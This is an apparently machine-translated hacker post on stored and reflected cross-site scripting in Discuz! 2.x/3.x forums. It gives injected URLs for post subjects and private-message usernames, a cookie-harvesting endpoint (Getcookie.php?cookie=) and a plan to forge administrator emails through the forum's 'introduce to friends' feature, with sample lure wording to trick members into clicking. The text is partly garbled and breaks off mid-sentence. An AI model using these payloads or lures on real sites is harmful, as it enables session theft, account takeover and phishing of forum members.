discuz! Cross-site Daquan _php

In discuz! Subject in posts, Huitie, PM, etc. are not filtered, so you can add code.
For example
Http://xxx/post.php?action=newthread&fid=2...cript%3E%3Cb%22

The effect is to pop up your cookie first
How to use: Put the above code in the IMG.

Applicable version: discuz! 2.x
discuz! 3.x
A kind of using discuz! 2.0 exploits attempts to spoof the acquisition of Cookies

There is a security vulnerability by testing the PM functionality of the Xxxfan forum, as described below:
Xxxfan send a secret link to a member as follows (assuming the member's name is Xxxfan)
Http://XXX/pm.php?action=send&username=XXXFan

Because the Forum program does not filter the member name, it is displayed directly in the column (to:), so you can add the script code after the name. For example

Http://XXX/pm.php?action=send&username=XXXFan ";>

The above link click on the first pop-up is its own cookie content.
Of course, we can first build a program on our site to collect cookies, similar to
Getcookie.php?cookie=

But how to entice members to click, if simply put on the forum, too easy to be identified. So you can take advantage of another feature of the Discuz Forum program, "Post Introduction to Friends" feature.

Because discuz this function to fill in the emial address without any filtering, identification and template, can forge anyone to send letters to others, security is very high. With this feature, we can forge Exploitfan's administrator to send a letter to a member, entice the member to click on the URL we have prepared, if the lure is to see their own means, for example, "The forum is testing the new features, please help you click on the above address, We will record your clicks at the right time to add points to your reward "and so on.

Because the link address is xxxfan, and the sender and email address are the official address of Xxxfan, so the credibility is very high, and will not leave any handle. For higher security, of course, you can